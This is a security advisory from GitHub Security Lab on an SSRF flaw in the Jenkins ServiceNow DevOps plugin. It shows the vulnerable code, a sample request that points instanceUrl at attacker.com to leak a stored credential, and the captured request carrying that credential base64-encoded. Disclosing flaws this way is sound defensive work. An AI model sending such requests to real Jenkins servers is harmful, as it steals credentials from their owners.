Coordinated Disclosure Timeline
- 2023-04-13: Reported to the Jenkins Security Team
- 2023-07-26: ServiceNow DevOps Plugin 1.38.1 requires POST requests and Overall/Administer permission for the affected form validation method.
Summary
A Server-Side Request Forgery (SSRF) vulnerability in jenkinsci/servicenow-devops-plugin
allows the leak of sensitive credentials to an attacker-controlled server. The issue arises from a lack of proper input validation/sanitization of the instanceUrl
parameter in the DevOpsConfiguration#doTestConnection
. These methods read arbitrary credentials from the credentials storage using hardcoded ACL.System
permission and send them to attacker-controlled servers.
Product
servicenow-devops-plugin Jenkins plugin
Tested Version
Details
Arbitrary secret leakage via SSRF (GHSL-2023-067
)
The DevOpsConfiguration#doTestConnection
method reads a credential identified by the credentialsId
query parameter and sends it to the attacker-controlled server specified by the instanceUrl
query parameter:
public FormValidation doTestConnection(@QueryParameter("instanceUrl") String instanceUrl,
@QueryParameter("apiVersion") String apiVersion, @QueryParameter("toolId") String toolId,
@QueryParameter("credentialsId") String credentialsId) throws IOException, ServletException {
List<DomainRequirement> drl = null;
ItemGroup itemGroup = null;
Authentication authentication = null;
if (GenericUtils.isEmpty(instanceUrl))
return FormValidation.error("Please provide the url!");
if (GenericUtils.isEmpty(credentialsId))
return FormValidation.error("Please choose a credential!");
if (CredentialsProvider.listCredentials(StandardUsernamePasswordCredentials.class, itemGroup, authentication,
drl, CredentialsMatchers.withId(credentialsId)).isEmpty())
return FormValidation.error("Cannot find currently selected credentials");
if (GenericUtils.isEmpty(toolId))
return FormValidation.error("Invalid tool id!");
if (GenericUtils.isEmpty(apiVersion))
return FormValidation.error("Invalid API Version!");
String changeControlUrl = getChangeControlUrl(instanceUrl, apiVersion);
LOGGER.log(Level.INFO, "changeControlUrl ->" + changeControlUrl);
if (GenericUtils.isEmpty(changeControlUrl) || !GenericUtils.checkUrlValid(changeControlUrl)) {
return FormValidation.error("Invalid URL");
}
StandardUsernamePasswordCredentials credentials = getCredentials(credentialsId);
String user = null;
String pwd = null;
if (credentials != null) {
user = credentials.getUsername();
if (credentials.getPassword() != null) {
pwd = credentials.getPassword().getPlainText();
}
}
JSONObject params = new JSONObject();
params.put(DevOpsConstants.TOOL_ID_ATTR.toString(), toolId);
params.put(DevOpsConstants.TEST_CONNECTION_ATTR.toString(), "true");
params.put(DevOpsConstants.TOOL_TYPE_ATTR.toString(), DevOpsConstants.TOOL_TYPE.toString());
try {
String result = GenericUtils.parseResponseResult(
CommUtils.call("GET", changeControlUrl, params, null, user, pwd, null, null),
DevOpsConstants.TEST_CONNECTION_RESPONSE_ATTR.toString());
if (result != null && result.equalsIgnoreCase("OK"))
return FormValidation.ok("Connection successful!");
else
throw new Exception("Connection failed!");
} catch (Exception e) {
return FormValidation.error("Client error : " + e.getMessage());
}
}
In order to exploit the vulnerability, the attacker needs to send a request to Jenkins specifying the secret to be read and the server to send it to. For example, to leak the FLAG
credential to attacker.com
the authenticated attacker would need to send the following request:
GET /jenkins/descriptorByName/io.jenkins.plugins.config.DevOpsConfiguration/testConnection?instanceUrl=http://attacker.com/path%23&credentialsId=FLAG&toolId=FOO&apiVersion=1 HTTP/1.1
Host: localhost:8080
Connection: close
Note that the attacker does NOT need to be authenticated but, if role-based authorization is in place, anonymous users may need to have Overall/Read
permission.
The code responsible to read the arbitrary credentials is:
public StandardUsernamePasswordCredentials getCredentials(String credentialsId) {
DomainRequirement dr = null;
ItemGroup itemGroup = null;
Authentication authentication = null;
List<StandardUsernamePasswordCredentials> lc = CredentialsProvider
.lookupCredentials(StandardUsernamePasswordCredentials.class, itemGroup, authentication, dr);
for (int i = 0; i < lc.size(); i++) {
StandardUsernamePasswordCredentials sc = lc.get(i);
if (sc.getId().equals(credentialsId)) {
return sc;
}
}
return null;
}
As we can see in the code, regardless of the user privileges, the authentication
will always be null
and, therefore, Jenkins will default to use ACL.SYSTEM
permissions.
Once the credentials are retrieved, they are sent back to the attacker-controlled server which will receive the following POST
request:
GET /path HTTP/1.1
Authorization: Basic QURNSU46U1VQRVJTRUNSRVRGTEFH
Content-Type: application/json; charset=UTF-8
X-Transaction-Source:
User-Agent: Java/11.0.16.1
Host: t5zvsdly1x2oehqyy47lwvaax13srjj78.oastify.com
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
The credentials are leaked base64-encoded in the Authorization
header.
Because the endpoint accepts GET
requests, an attacker could send a link to a victim with access to the Jenkins server to deliver the payload when the victim clicks on the link.
This vulnerability was found using CodeQL’s SSRF Java query.
Impact
This vulnerability can lead to sensitive secret credentials leak.
Resources
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-067
in any communication regarding this issue.